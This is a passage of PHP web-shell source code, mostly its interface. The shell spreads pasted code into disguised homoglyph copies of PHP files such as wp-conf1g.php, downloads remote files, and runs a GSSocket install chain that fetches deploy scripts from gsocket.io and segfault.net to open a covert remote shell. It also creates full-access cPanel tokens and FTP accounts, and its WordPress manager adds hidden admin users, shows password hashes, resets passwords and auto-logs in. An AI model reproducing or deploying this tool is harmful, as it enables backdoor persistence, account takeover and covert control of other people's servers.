<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 12px;">
<div class="form-group">
<label class="form-label">Folder Permission</label>
<input type="text" name="chmod_folder" class="form-input" placeholder="0755" value="0755" maxlength="4" required>
</div>
<div class="form-group">
<label class="form-label">File Permission</label>
<input type="text" name="chmod_file" class="form-input" placeholder="0644" value="0644" maxlength="4" required>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" onclick="hideModal('chmod')">Cancel</button>
<button type="submit" name="mass_chmod" class="btn btn-primary">Apply</button>
</div>
</form>
</div>
</div>
<!-- Mass Spread Modal -->
<div class="modal-overlay hidden" id="spreadModal">
<div class="modal" style="max-width: 550px;">
<div class="modal-header">
<span class="modal-title">Mass Spread (Auto-Match)</span>
<button class="modal-close" onclick="hideModal('spread')"><svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg></button>
</div>
<form method="POST">
<div class="modal-body">
<div style="background: rgba(0, 212, 255, 0.08); border: 1px solid rgba(0, 212, 255, 0.2); border-radius: 6px; padding: 12px; margin-bottom: 14px;">
<p style="color: var(--accent); font-size: 11px; font-weight: 600; margin-bottom: 6px;">Auto-Match Filename</p>
<p style="color: var(--text-muted); font-size: 10px; line-height: 1.5;">Scans each folder for existing PHP files and creates a homoglyph variant automatically. Example: <span style="color:var(--gold);">wp-config.php</span> becomes <span style="color:var(--green);">wp-conf1g.php</span> or <span style="color:var(--green);">wp-c0nfig.php</span></p>
</div>
<div class="form-group">
<label class="form-label">Paste Code</label>
<textarea name="spread_content" class="form-input" style="min-height: 200px; resize: vertical; font-family: monospace;" placeholder="Paste your code here..." required></textarea>
</div>
<div style="background: rgba(248, 81, 73, 0.1); border: 1px solid rgba(248, 81, 73, 0.3); border-radius: 6px; padding: 10px;">
<p style="color: var(--red); font-size: 11px;">Recursive from: <?php echo htmlspecialchars($currentDirectory); ?></p>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" onclick="hideModal('spread')">Cancel</button>
<button type="submit" name="mass_spread" class="btn btn-primary">Spread All</button>
</div>
</form>
</div>
</div>
<!-- Multi Upload Modal -->
<div class="modal-overlay hidden" id="multiuploadModal">
<div class="modal" style="max-width: 550px;">
<div class="modal-header">
<span class="modal-title">Multi Upload</span>
<button class="modal-close" onclick="hideModal('multiupload')"><svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg></button>
</div>
<form method="POST" enctype="multipart/form-data">
<div class="modal-body">
<div id="uploadersContainer">
<div class="uploader-row">
<label class="custom-file-input">
<input type="file" name="files[]" onchange="updateFileName(this)">
<span class="file-btn">Choose File</span>
<span class="file-name">No file selected</span>
</label>
<button type="button" class="btn btn-danger btn-sm" onclick="removeUploader(this)">X</button>
</div>
</div>
<button type="button" class="btn btn-secondary btn-sm" onclick="addUploader()" style="margin-top: 10px; width: 100%;">+ Add More</button>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" onclick="hideModal('multiupload')">Cancel</button>
<button type="submit" name="multi_upload" class="btn btn-primary">Upload All</button>
</div>
</form>
</div>
</div>
<!-- Remote Upload Modal -->
<div class="modal-overlay hidden" id="remoteModal">
<div class="modal" style="max-width: 450px;">
<div class="modal-header">
<span class="modal-title">Remote Upload</span>
<button class="modal-close" onclick="hideModal('remote')"><svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg></button>
</div>
<form method="POST">
<div class="modal-body">
<div class="form-group">
<label class="form-label">URL</label>
<input type="text" name="remote_url" class="form-input" placeholder="https://example.com/file.php" required>
</div>
<div class="form-group">
<label class="form-label">Save as (optional)</label>
<input type="text" name="remote_filename" class="form-input" placeholder="Leave empty for original name">
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" onclick="hideModal('remote')">Cancel</button>
<button type="submit" name="remote_upload" class="btn btn-primary">Download</button>
</div>
</form>
</div>
</div>
<!-- GSSocket Modal -->
<div class="modal-overlay hidden" id="gsocketModal">
<div class="modal" style="max-width: 500px;">
<div class="modal-header">
<span class="modal-title" style="color: #10b981;">GSSocket Manager</span>
<button class="modal-close" onclick="hideModal('gsocket')"><svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg></button>
</div>
<div class="modal-body">
<div style="background: rgba(16,185,129,0.08); border: 1px solid rgba(16,185,129,0.2); border-radius: 6px; padding: 12px; margin-bottom: 16px;">
<p style="color: #10b981; font-size: 11px; font-weight: 600; margin-bottom: 4px;">GSSocket Auto-Install Chain</p>
<p style="color: var(--text-muted); font-size: 10px; line-height: 1.5;">
1. gsocket.io/y (curl/wget)<br>
2. segfault.net/deploy-all.sh<br>
3. GS_PORT=53 deploy-all.sh
</p>
</div>
<div style="display: flex; gap: 10px;">
<form method="POST" style="flex: 1;">
<input type="hidden" name="gsocket_action" value="1">
<input type="hidden" name="gsocket_cmd" value="install">
<button type="submit" class="btn btn-gs" style="width: 100%; padding: 10px;">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"/><polyline points="7 10 12 15 17 10"/><line x1="12" y1="15" x2="12" y2="3"/></svg>
Install
</button>
</form>
<form method="POST" style="flex: 1;">
<input type="hidden" name="gsocket_action" value="1">
<input type="hidden" name="gsocket_cmd" value="uninstall">
<button type="submit" class="btn btn-danger" style="width: 100%; padding: 10px;">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="3 6 5 6 21 6"/><path d="M19 6v14a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V6m3 0V4a2 2 0 0 1 2-2h4a2 2 0 0 1 2 2v2"/></svg>
Uninstall
</button>
</form>
</div>
</div>
</div>
</div>
<!-- UAPI Modal -->
<div class="modal-overlay hidden" id="uapiModal">
<div class="modal" style="max-width: 520px;">
<div class="modal-header">
<span class="modal-title" style="color: #8b5cf6;">UAPI / cPanel Manager</span>
<button class="modal-close" onclick="hideModal('uapi')"><svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg></button>
</div>
<div class="modal-body">
<p style="color: var(--text-muted); font-size: 11px; font-weight: 600; margin-bottom: 10px;">Generate cPanel API Token</p>
<form method="POST" style="margin-bottom: 20px;">
<button type="submit" name="cpanel_token" class="btn btn-uapi" style="width: 100%;">
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="3" y="11" width="18" height="11" rx="2" ry="2"/><path d="M7 11V7a5 5 0 0 1 10 0v4"/></svg>
Generate Token
</button>
<span style="font-size: 10px; color: var(--text-muted);">Creates a full-access API token for cPanel.</span>
</form>
<div style="border-top: 1px solid var(--border); padding-top: 16px;">
<p style="color: var(--text-muted); font-size: 11px; font-weight: 600; margin-bottom: 10px;">Server Info</p>
<div style="background: var(--bg-secondary); padding: 10px; border-radius: 6px; font-size: 11px; color: var(--text-muted); font-family: monospace;">
<div>Domain: <?php echo htmlspecialchars($_SERVER['HTTP_HOST'] ?? 'N/A'); ?></div>
<div>User: <?php echo htmlspecialchars(get_current_user()); ?></div>
<div>Server: <?php echo htmlspecialchars(php_uname('n')); ?></div>
<div>PHP: <?php echo phpversion(); ?></div>
</div>
</div>
</div>
</div>
</div>
<!-- FTP Manager Modal -->
<div class="modal-overlay hidden" id="ftpModal">
<div class="modal" style="max-width: 620px;">
<div class="modal-header">
<span class="modal-title" style="color: #f97316;">FTP Manager</span>
<button class="modal-close" onclick="hideModal('ftp')"><svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg></button>
</div>
<div class="modal-body">
<!-- Add FTP -->
<div style="background: var(--bg-secondary); border: 1px solid var(--border); border-radius: 8px; padding: 14px; margin-bottom: 16px;">
<p style="color: var(--gold); font-size: 12px; font-weight: 600; margin-bottom: 10px;">Add FTP Account</p>
<form method="POST">
<div style="display: grid; grid-template-columns: 1fr 1fr 80px; gap: 8px; align-items: end;">
<div class="form-group" style="margin: 0;">
<label class="form-label">Username</label>
<input type="text" name="ftp_user" class="form-input" placeholder="ftpuser" required>
</div>
<div class="form-group" style="margin: 0;">
<label class="form-label">Password</label>
<input type="text" name="ftp_pass" class="form-input" placeholder="P@ss123!" required>
</div>
<button type="submit" name="ftp_add" class="btn btn-primary btn-sm" style="height: 36px;">Add</button>
</div>
</form>
</div>
<!-- List + Actions -->
<div style="margin-bottom: 10px;">
<p style="color: var(--text-primary); font-size: 12px; font-weight: 600;">FTP Accounts</p>
</div>
<?php if (!empty($ftpAccounts)): ?>
<div style="max-height: 300px; overflow-y: auto;">
<?php foreach ($ftpAccounts as $i => $ftp):
$ftpLogin = $ftp['login'] ?? $ftp['user'] ?? '';
$ftpDomain = $ftp['domain'] ?? '';
$ftpDir = $ftp['homedir'] ?? '';
$ftpAtSign = strpos($ftpLogin, '@');
$ftpUserOnly = ($ftpAtSign !== false) ? substr($ftpLogin, 0, $ftpAtSign) : $ftpLogin;
if (empty($ftpDomain) && $ftpAtSign !== false) $ftpDomain = substr($ftpLogin, $ftpAtSign + 1);
?>
<div style="background: var(--bg-secondary); border: 1px solid var(--border); border-radius: 6px; padding: 10px; margin-bottom: 6px;">
<div style="display: flex; justify-content: space-between; align-items: center; gap: 8px; flex-wrap: wrap;">
<div style="flex: 1; min-width: 180px;">
<div style="color: var(--accent); font-size: 12px; font-weight: 600; font-family: monospace;"><?php echo htmlspecialchars($ftpLogin); ?></div>
<div style="color: var(--text-muted); font-size: 10px;"><?php echo htmlspecialchars($ftpDir); ?></div>
</div>
<div style="display: flex; gap: 4px; align-items: center;">
<button type="button" class="btn btn-sm btn-secondary" style="padding: 3px 8px; font-size: 10px;" onclick="ftpChgPass('<?php echo htmlspecialchars($ftpUserOnly, ENT_QUOTES); ?>','<?php echo htmlspecialchars($ftpDomain, ENT_QUOTES); ?>')">ChgPass</button>
<form method="POST" style="margin:0;" onsubmit="return confirm('Delete <?php echo htmlspecialchars($ftpLogin, ENT_QUOTES); ?>?')">
<input type="hidden" name="ftp_del_user" value="<?php echo htmlspecialchars($ftpUserOnly); ?>">
<input type="hidden" name="ftp_del_domain" value="<?php echo htmlspecialchars($ftpDomain); ?>">
<button type="submit" name="ftp_delete" class="btn btn-sm btn-danger" style="padding: 3px 8px; font-size: 10px;">Del</button>
</form>
</div>
</div>
<!-- Inline change password (hidden by default) -->
<div id="ftpChg_<?php echo $i; ?>" class="hidden" style="margin-top: 8px; padding-top: 8px; border-top: 1px solid var(--border);">
<form method="POST" style="display: flex; gap: 6px; align-items: end;">
<input type="hidden" name="ftp_chg_user" value="<?php echo htmlspecialchars($ftpUserOnly); ?>">
<input type="hidden" name="ftp_chg_domain" value="<?php echo htmlspecialchars($ftpDomain); ?>">
<div style="flex: 1;">
<label class="form-label" style="font-size: 10px;">New Password</label>
<input type="text" name="ftp_chg_pass" class="form-input" style="font-size: 11px; padding: 6px 8px;" placeholder="NewP@ss!" required>
</div>
<button type="submit" name="ftp_passwd" class="btn btn-primary btn-sm" style="height: 32px; font-size: 10px;">Save</button>
</form>
</div>
</div>
<?php endforeach; ?>
</div>
<?php else: ?>
<div style="text-align: center; padding: 20px; color: var(--text-muted); font-size: 11px;">
No FTP accounts found.
</div>
<?php endif; ?>
</div>
</div>
</div>
<!-- WordPress Manager Modal -->
<?php if ($wpAvailable): ?>
<div class="modal-overlay hidden" id="wpModal">
<div class="modal" style="max-width: 820px; max-height: 90vh; overflow-y: auto;">
<div class="modal-header">
<span class="modal-title" style="color: #3b82f6;">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" style="display: inline; vertical-align: middle;"><circle cx="12" cy="12" r="10"/><path d="M2 12h20"/></svg>
WordPress Manager
</span>
<button class="modal-close" onclick="hideModal('wp')"><svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg></button>
</div>
<div class="modal-body">
<!-- Create Admin -->
<div style="background: var(--bg-secondary); border: 1px solid var(--border); border-radius: 8px; padding: 14px; margin-bottom: 16px;">
<p style="color: #3fb950; font-size: 12px; font-weight: 600; margin-bottom: 10px;">
<svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" style="display: inline; vertical-align: middle;"><path d="M16 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2"/><circle cx="8.5" cy="7" r="4"/><line x1="20" y1="8" x2="20" y2="14"/><line x1="23" y1="11" x2="17" y2="11"/></svg>
Create Admin User
</p>
<div style="display: grid; grid-template-columns: 1fr 1fr 1fr; gap: 8px; margin-bottom: 8px;">
<div class="form-group" style="margin: 0;">
<label class="form-label">Username</label>
<input type="text" id="wpNewUser" class="form-input" placeholder="admin_user">
</div>
<div class="form-group" style="margin: 0;">
<label class="form-label">Password</label>
<input type="text" id="wpNewPass" class="form-input" placeholder="P@ssw0rd!">
</div>
<div class="form-group" style="margin: 0;">
<label class="form-label">Email (optional)</label>
<input type="text" id="wpNewEmail" class="form-input" placeholder="user@domain.com">
</div>
</div>
<div style="display: flex; align-items: center; gap: 10px;">
<label style="display: flex; align-items: center; gap: 6px; font-size: 11px; color: var(--text-muted); cursor: pointer; margin: 0;">
<input type="checkbox" id="wpHideUser" style="width: auto; accent-color: #7c3aed;">
Hide user from WP admin panel
</label>
<button type="button" class="btn btn-sm btn-primary" onclick="wpCreateAdmin()" style="margin-left: auto; padding: 6px 16px;">Create</button>
</div>
<div id="wpCreateStatus" style="display: none; margin-top: 8px; padding: 8px 12px; border-radius: 6px; font-size: 11px;"></div>
</div>
<!-- User List -->
<div style="margin-bottom: 10px;">
<p style="color: var(--text-primary); font-size: 12px; font-weight: 600;">
<svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" style="display: inline; vertical-align: middle;"><path d="M17 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2"/><circle cx="9" cy="7" r="4"/><path d="M23 21v-2a4 4 0 0 0-3-3.87"/><path d="M16 3.13a4 4 0 0 1 0 7.75"/></svg>
WordPress Users
</p>
</div>
<div id="wpUserList" style="max-height: 400px; overflow-y: auto;">
<div style="text-align: center; padding: 20px; color: var(--text-muted); font-size: 11px;">Loading...</div>
</div>
</div>
</div>
</div>
<!-- WP Delete Confirm Modal -->
<div class="modal-overlay hidden" id="wpDeleteModal" style="z-index: 1001;">
<div class="modal" style="max-width: 400px;">
<div class="modal-header">
<span class="modal-title" style="color: #f85149;">Confirm Delete</span>
<button class="modal-close" onclick="hideModal('wpDelete')"><svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg></button>
</div>
<div class="modal-body">
<p style="color: var(--text-muted); font-size: 12px;">Delete user <strong id="wpDeleteName" style="color: #f85149;"></strong>? This cannot be undone.</p>
<div style="display: flex; gap: 8px; margin-top: 14px; justify-content: flex-end;">
<button class="btn btn-sm btn-secondary" onclick="hideModal('wpDelete')">Cancel</button>
<button class="btn btn-sm btn-danger" id="wpDeleteConfirmBtn" onclick="wpConfirmDelete()">Delete</button>
</div>
</div>
</div>
</div>
<?php endif; ?>
<!-- Process Manager Modal -->
<div class="modal-overlay hidden" id="procModal">
<div class="modal" style="max-width: 1100px; max-height: 92vh; overflow: hidden; display: flex; flex-direction: column;">
<div class="modal-header" style="flex-shrink: 0;">
<span class="modal-title" style="color: #ec4899;">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" style="display: inline; vertical-align: middle;"><rect x="4" y="4" width="16" height="16" rx="2"/><line x1="9" y1="9" x2="9.01" y2="9"/><line x1="15" y1="9" x2="15.01" y2="9"/></svg>
Process Manager
<span id="procLiveIndicator" style="display:inline-block;width:8px;height:8px;background:#3fb950;border-radius:50%;margin-left:8px;animation:procPulse 1s infinite;vertical-align:middle;"></span>
<span style="font-size:10px;color:#3fb950;margin-left:4px;font-weight:400;">LIVE</span>
</span>
<div style="display:flex;align-items:center;gap:8px;">
<span id="procStats" style="font-size:10px;color:var(--text-muted);"></span>
<button class="btn btn-sm btn-secondary" onclick="procTogglePause()" id="procPauseBtn" style="padding:3px 10px;font-size:10px;">Pause</button>
<button class="modal-close" onclick="procStopAndClose()"><svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg></button>
</div>
</div>
<div class="modal-body" style="flex: 1; overflow: hidden; display: flex; flex-direction: column; padding: 10px 14px;">
<!-- Filter + Search -->
<div style="display:flex;gap:8px;margin-bottom:10px;flex-wrap:wrap;align-items:center;">
<input type="text" id="procSearch" class="form-input" placeholder="Search process..." style="flex:1;min-width:150px;padding:5px 10px;font-size:11px;" oninput="procFilterRender()">
<select id="procFilter" class="form-input" style="width:auto;padding:5px 8px;font-size:11px;" onchange="procFilterRender()">
<option value="all">All Processes</option>
<option value="mine">My Processes</option>
<option value="hidden">Hidden Only</option>
<option value="recent">Recent (5min)</option>
</select>
<select id="procSort" class="form-input" style="width:auto;padding:5px 8px;font-size:11px;" onchange="procFilterRender()">
<option value="cpu">Sort: CPU</option>
<option value="mem">Sort: MEM</option>
<option value="pid">Sort: PID</option>
<option value="start">Sort: Start</option>
</select>
</div>
<!-- Alert badges -->
<div id="procAlerts" style="display:flex;gap:6px;margin-bottom:8px;flex-wrap:wrap;"></div>
<!-- Process table -->
<div style="flex:1;overflow:auto;border:1px solid var(--border);border-radius:6px;">
<table style="width:100%;border-collapse:collapse;font-size:11px;">
<thead>
<tr style="background:var(--bg-secondary);position:sticky;top:0;z-index:1;">
<th style="padding:6px 8px;text-align:left;color:var(--text-muted);font-weight:600;border-bottom:1px solid var(--border);white-space:nowrap;">PID</th>
<th style="padding:6px 8px;text-align:left;color:var(--text-muted);font-weight:600;border-bottom:1px solid var(--border);white-space:nowrap;">USER</th>
<th style="padding:6px 8px;text-align:right;color:var(--text-muted);font-weight:600;border-bottom:1px solid var(--border);white-space:nowrap;">CPU%</th>
<th style="padding:6px 8px;text-align:right;color:var(--text-muted);font-weight:600;border-bottom:1px solid var(--border);white-space:nowrap;">MEM%</th>
<th style="padding:6px 8px;text-align:left;color:var(--text-muted);font-weight:600;border-bottom:1px solid var(--border);white-space:nowrap;">STAT</th>
<th style="padding:6px 8px;text-align:left;color:var(--text-muted);font-weight:600;border-bottom:1px solid var(--border);white-space:nowrap;">START</th>
<th style="padding:6px 8px;text-align:left;color:var(--text-muted);font-weight:600;border-bottom:1px solid var(--border);">COMMAND</th>
<th style="padding:6px 8px;text-align:center;color:var(--text-muted);font-weight:600;border-bottom:1px solid var(--border);white-space:nowrap;">ACTION</th>
</tr>
</thead>
<tbody id="procTableBody">
<tr><td colspan="8" style="text-align:center;padding:30px;color:var(--text-muted);">Loading...</td></tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<style>
@keyframes procPulse { 0%,100%{opacity:1} 50%{opacity:0.3} }
.proc-row:hover { background: rgba(236,72,153,0.06) !important; }
.proc-hidden { border-left: 3px solid #f85149 !important; background: rgba(248,81,73,0.06) !important; }
.proc-recent { border-left: 3px solid #3fb950 !important; background: rgba(63,185,80,0.06) !important; }
.proc-high-cpu { color: #f85149 !important; font-weight: 700; }
.proc-high-mem { color: #f97316 !important; font-weight: 700; }
</style>
<!-- Process Kill Confirm -->
<div class="modal-overlay hidden" id="procKillModal" style="z-index: 1001;">
<div class="modal" style="max-width: 380px;">
<div class="modal-header">
<span class="modal-title" style="color: #f85149;">Kill Process</span>
<button class="modal-close" onclick="hideModal('procKill')"><svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg></button>
</div>
<div class="modal-body">
<p style="color:var(--text-muted);font-size:12px;">Kill PID <strong id="procKillPid" style="color:#f85149;"></strong>?</p>
<p id="procKillCmd" style="color:var(--text-muted);font-size:10px;font-family:monospace;word-break:break-all;margin-top:4px;"></p>
<div style="display:flex;gap:6px;margin-top:12px;justify-content:flex-end;">
<button class="btn btn-sm btn-secondary" onclick="hideModal('procKill')">Cancel</button>
<button class="btn btn-sm" style="background:#f97316;border-color:#f97316;color:#fff;" onclick="procDoKill('15')">SIGTERM</button>
<button class="btn btn-sm btn-danger" onclick="procDoKill('9')">SIGKILL</button>
</div>
</div>
</div>
</div>
<script>
function showModal(type) {
document.getElementById(type + 'Modal').classList.remove('hidden');
if (type === 'wp' && typeof wpLoadUsers === 'function') wpLoadUsers();
if (type === 'ftp') ftpAutoLoad();
if (type === 'proc') procStart();
}
function hideModal(type) { document.getElementById(type + 'Modal').classList.add('hidden'); }
var ftpLoaded = <?php echo (!empty($ftpAccounts) || isset($_POST['ftp_list'])) ? 'true' : 'false'; ?>;
function ftpAutoLoad() {
if (ftpLoaded) return;
ftpLoaded = true;
var form = document.createElement('form');
form.method = 'POST';
form.style.display = 'none';
var inp = document.createElement('input');
inp.type = 'hidden';
inp.name = 'ftp_list';
inp.value = '1';
form.appendChild(inp);
document.body.appendChild(form);
form.submit();
}
var bypassMode = false;
function toggleBypass() {
bypassMode = !bypassMode;
var btn = document.getElementById('bypassToggle');
var field = document.getElementById('useBypassField');
var label = document.getElementById('cmdModeLabel');
if (bypassMode) {
btn.textContent = 'Bypass';
btn.className = 'btn btn-sm btn-danger';
btn.style.cssText = 'padding:4px 8px;font-size:10px;min-width:52px;background:#f85149;border-color:#f85149;color:#fff;';
field.value = '1';
label.textContent = '#';
label.style.color = '#f85149';
} else {
btn.textContent = 'Normal';
btn.className = 'btn btn-sm btn-secondary';
btn.style.cssText = 'padding:4px 8px;font-size:10px;min-width:52px;';
field.value = '0';
label.textContent = '$';
label.style.color = '';
}
}
function ftpChgPass(user, domain) {
var panels = document.querySelectorAll('[id^="ftpChg_"]');
panels.forEach(function(p) { p.classList.add('hidden'); });
for (var i = 0; i < 100; i++) {
var el = document.getElementById('ftpChg_' + i);
if (!el) break;
var form = el.querySelector('form');
if (form) {
var uInput = form.querySelector('[name="ftp_chg_user"]');
var dInput = form.querySelector('[name="ftp_chg_domain"]');
if (uInput && dInput && uInput.value === user && dInput.value === domain) {
el.classList.toggle('hidden');
if (!el.classList.contains('hidden')) {
el.querySelector('[name="ftp_chg_pass"]').focus();
}
break;
}
}
}
}
function showDeleteConfirm(path, name) {
document.getElementById('deleteFileName').textContent = decodeURIComponent(name);
document.getElementById('deleteConfirmBtn').href = '?del=' + path + '';
document.getElementById('deleteConfirmModal').classList.remove('hidden');
}
function hideDeleteConfirm() { document.getElementById('deleteConfirmModal').classList.add('hidden'); }
function addUploader() {
var c = document.getElementById('uploadersContainer');
var r = document.createElement('div');
r.className = 'uploader-row';
r.innerHTML = '<label class="custom-file-input"><input type="file" name="files[]" onchange="updateFileName(this)"><span class="file-btn">Choose File</span><span class="file-name">No file selected</span></label><button type="button" class="btn btn-danger btn-sm" onclick="removeUploader(this)">X</button>';
c.appendChild(r);
}
function removeUploader(btn) {
var c = document.getElementById('uploadersContainer');
if (c.children.length > 1) btn.parentElement.remove();
}
function updateFileName(input) {
var label = input.closest('.custom-file-input');
var nameSpan = label.querySelector('.file-name');
if (input.files.length > 0) { nameSpan.textContent = input.files[0].name; label.classList.add('has-file'); }
else { nameSpan.textContent = 'No file selected'; label.classList.remove('has-file'); }
}
document.querySelectorAll('.modal-overlay').forEach(function(overlay) {
overlay.addEventListener('click', function(e) {
if (e.target === overlay) overlay.classList.add('hidden');
});
});
<?php if (!empty($ftpAccounts) || isset($_POST['ftp_list']) || isset($_POST['ftp_add']) || isset($_POST['ftp_passwd']) || isset($_POST['ftp_delete'])): ?>
showModal('ftp');
<?php endif; ?>
// === WordPress Manager Functions ===
function wpRequest(data, callback) {
var xhr = new XMLHttpRequest();
xhr.open('POST', window.location.href, true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onload = function() {
try {
var response = JSON.parse(xhr.responseText);
callback(response);
} catch(e) {
callback({err: xhr.responseText.substring(0, 300)});
}
};
xhr.onerror = function() { callback({err: 'Network error'}); };
var params = [];
for (var key in data) params.push(encodeURIComponent(key) + '=' + encodeURIComponent(data[key]));
xhr.send(params.join('&'));
}
function wpLoadUsers() {
var container = document.getElementById('wpUserList');
if (!container) return;
container.innerHTML = '<div style="text-align:center;padding:20px;color:var(--text-muted);font-size:11px;">Loading users...</div>';
wpRequest({c4t: 'ulst'}, function(users) {
if (users.err) {
container.innerHTML = '<div style="text-align:center;padding:20px;color:#f85149;font-size:11px;">Error: ' + users.err + '</div>';
return;
}
if (!users.length) {
container.innerHTML = '<div style="text-align:center;padding:20px;color:var(--text-muted);font-size:11px;">No users found.</div>';
return;
}
var html = '';
users.forEach(function(u) {
var isHidden = u.is_hidden || false;
var hiddenBadge = isHidden ? '<span style="background:#7c3aed;color:white;padding:1px 6px;border-radius:3px;font-size:9px;font-weight:600;margin-left:6px;">HIDDEN</span>' : '';
var borderLeft = isHidden ? 'border-left: 3px solid #7c3aed;' : '';
var bgColor = isHidden ? 'background: rgba(124,58,237,0.08);' : 'background: var(--bg-secondary);';
html += '<div style="' + bgColor + borderLeft + 'border: 1px solid var(--border); border-radius: 6px; padding: 10px; margin-bottom: 6px;">';
html += '<div style="display:flex;justify-content:space-between;align-items:center;gap:8px;flex-wrap:wrap;">';
html += '<div style="flex:1;min-width:200px;">';
html += '<div style="display:flex;align-items:center;gap:6px;">';
html += '<span style="color:#3b82f6;font-size:10px;font-weight:600;font-family:monospace;">#' + u.ID + '</span>';
html += '<span style="color:var(--accent);font-size:12px;font-weight:600;">' + u.user_login + '</span>';
html += hiddenBadge;
html += '</div>';
html += '<div style="color:var(--text-muted);font-size:10px;">' + u.user_email + '</div>';
html += '<div style="color:var(--text-muted);font-size:9px;font-family:monospace;word-break:break-all;max-width:280px;opacity:0.6;">' + u.user_pass.substring(0, 34) + '...</div>';
html += '</div>';
html += '<div style="display:flex;gap:4px;align-items:center;flex-wrap:wrap;">';
html += '<button class="btn btn-sm btn-danger" style="padding:3px 8px;font-size:10px;" onclick="wpResetPw(' + u.ID + ',this)">ResetPW</button>';
html += '<button class="btn btn-sm btn-primary" style="padding:3px 8px;font-size:10px;" onclick="wpAutoLogin(' + u.ID + ')">Login</button>';
if (isHidden) {
html += '<button class="btn btn-sm" style="padding:3px 8px;font-size:10px;background:#3fb950;border-color:#3fb950;color:#fff;" onclick="wpUnhideUser(' + u.ID + ',this)">Unhide</button>';
} else {
html += '<button class="btn btn-sm" style="padding:3px 8px;font-size:10px;background:#f97316;border-color:#f97316;color:#fff;" onclick="wpHideUser(' + u.ID + ',this)">Hide</button>';
}
html += '<button class="btn btn-sm btn-secondary" style="padding:3px 8px;font-size:10px;" onclick="wpDeleteUser(' + u.ID + ',\'' + u.user_login.replace(/'/g, "\\'") + '\')">Del</button>';
html += '</div>';
html += '</div>';
html += '<div id="wpPwInfo_' + u.ID + '" style="display:none;margin-top:8px;padding:6px 10px;background:var(--bg-primary);border:1px solid var(--border);border-radius:4px;font-size:11px;font-family:monospace;"></div>';
html += '</div>';
});
container.innerHTML = html;
});
}
function wpResetPw(uid, btn) {
var origText = btn.textContent;
btn.textContent = '...';
btn.disabled = true;
wpRequest({c4t: 'rpsw', uix: uid}, function(r) {
btn.textContent = origText;
btn.disabled = false;
if (r.n) {
var info = document.getElementById('wpPwInfo_' + uid);
info.style.display = 'block';
info.innerHTML = '<span style="color:#3fb950;">New password:</span> <strong style="color:#00d4ff;user-select:all;">' + r.n + '</strong> <button class="btn btn-sm btn-primary" style="padding:2px 6px;font-size:9px;margin-left:6px;" onclick="navigator.clipboard.writeText(\'' + r.n + '\');this.textContent=\'Copied!\'">Copy</button>';
setTimeout(function(){ info.style.display = 'none'; }, 15000);
} else {
alert('Reset failed: ' + (r.err || 'unknown'));
}
});
}
function wpAutoLogin(uid) {
wpRequest({c4t: 'alog', uix: uid}, function(r) {
if (r.url) window.open(r.url, '_blank');
else alert('Login failed: ' + (r.err || 'unknown'));
});
}
function wpHideUser(uid, btn) {
btn.textContent = '...';
btn.disabled = true;
wpRequest({c4t: 'hide', uix: uid}, function(r) {
btn.disabled = false;
if (r.ok) wpLoadUsers();
else { btn.textContent = 'Hide'; alert('Hide failed'); }
});
}
function wpUnhideUser(uid, btn) {
btn.textContent = '...';
btn.disabled = true;
wpRequest({c4t: 'unhide', uix: uid}, function(r) {
btn.disabled = false;
if (r.ok) wpLoadUsers();
else { btn.textContent = 'Unhide'; alert('Unhide failed'); }
});
}
var wpDelTarget = null;
function wpDeleteUser(uid, name) {
wpDelTarget = uid;
document.getElementById('wpDeleteName').textContent = name;
showModal('wpDelete');
}
function wpConfirmDelete() {
if (!wpDelTarget) return;
var btn = document.getElementById('wpDeleteConfirmBtn');
